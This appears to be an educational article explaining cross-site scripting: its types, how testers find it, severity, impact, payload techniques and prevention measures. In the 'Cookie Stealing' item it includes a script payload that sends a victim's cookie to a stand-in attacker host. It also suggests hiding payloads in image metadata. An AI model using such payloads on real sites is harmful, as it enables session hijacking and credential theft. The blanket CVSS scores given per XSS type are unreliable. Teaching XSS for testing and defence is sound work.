What is XSS?
Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application’s functionality and data. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
How does XSS works?
Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.
Checking for XSS (POC)
We can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It’s long been common practice to use the alert() function for this purpose because it’s short, harmless, and pretty hard to miss when it’s successfully called. In fact, you solve the majority of our XSS labs by invoking alert() in a simulated victim’s browser.
It is advisable to use another JS function instead of alert() as modern browsers blocks referencing certain methods under certain conditions to prevent exploitation. Another easy and handy function to use in place of alert() is print().
Types of XSS
Reflected XSS:
The malicious script comes from the current HTTP request when injected in the source code of the application.
Stored XSS:
The malicious script comes from the website’s database which eventually gets executed on user’s browser.
DOM-Based XSS:
The vulnerability exists in client-side code rather than server-side code. In DOM-based XSS, the malicious user input goes inside the source and comes out of the sink.
Reflected XSS
Reflected cross-site scripting (or RXSS) arises when an application receives data in an HTTP request and includes that data within the source code which initiates that immediate response in an unsafe way.
Steps to find XSS : 1. Test every entry input point i.e. each and every parameter or input fields. 2. Determine the reflection context, check where your injected payload gets reflected in the source code. 3. Now you can check if you need to balance your supplied input and frame a payload accordingly. 4. Test that payload and see if that gives us a popup, if not see if we have balanced our payload properly or not. 5. If not, test alternative payloads and try other techniques.
- Severity : The Reflected XSS has a severity of P3 with a CVSS score of 5.8 which is Medium. This can be used to steal cookies from a victim and also can be used for capturing victim’s credentials.
Stored XSS
Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. This type of XSS happens when the server saves your supplied input somewhere into the server, i.e) database, cache server.
- Severity : The Stored XSS has a severity of P2 with a CVSS score of 7-8.9 which is High. This type of XSS can be used to steal cookies of large number of users or even admin as well, because everytime someone loads the page they get affected by this.
DOM XSS
DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM. This is a source and sink process, the user input which can be any malicious code when goes into the source and comes out from the sink results in a DOM XSS.
- Severity : The DOM XSS has a severity of P1 with a CVSS score of 10 which is critical. This type of XSS is generally found less but it can cause certain amount of damage as well.
Impact of XSS
- Impersonate or masquerade as the victim user.
- Carry out any action that the user is able to perform.
- Read any data that the user is able to access.
- Capture the user’s login credentials.
- Perform virtual defacement of the web site.
- Inject trojan functionality into the web site.
Resources and Vectors
-
Payload list
-
Mouse Payloads Sometimes when keyboard payloads are blocked, we can perform XSS using mouse payloads as developers fail to protect them from being bypassed. Some of the mouse payloads are
onmouseover,onmouseclicketc. -
XSS Polyglots Polyglots means someone who knows many languages. Combining it with XSS Payloads, it basically means a payload combination of 2 or more payloads in order to trick the web server and bypass many input checks.
-
Cookie Stealing This technique can increase the severity of XSS. A simple payload where the cookie of user will be redirected to the attacker’s web server.The payload can be as follows:
<script>document.location.href=”attackers.website/cookie=”>+document.cookie</script>Wheredocument.cookiewill give the victims cookie anddocument.location.hrefwill send the data to attacker’s web server. -
File upload Some web servers do not check the content of the file while uploading them. In such a scenario an attacker can write the payload inside the file and upload the file on the web application thus leading to XSS. Where web servers only upload image files, using an exiftool we can create a new parameter and add our payload in the value option and then upload the image file to web application thus prompting the alert box.
XSS Prevention
- Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
- Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
- Use appropriate response headers. To prevent XSS in HTTP responses that aren’t intended to contain any HTML or JS, we can use the
Content-typeandX-Content-Type-Optionsheaders to ensure that browsers interpret the responses in the way you intend. - Content Security Policy. As a last line of defense, we can use CSP to reduce the severity of any XSS vulnerabilities that still occur.
- Implementing WAFs. WAF can also be used to stop this type of attack, developers can implement WAFs and properly configure them to block certain malicious user inputs.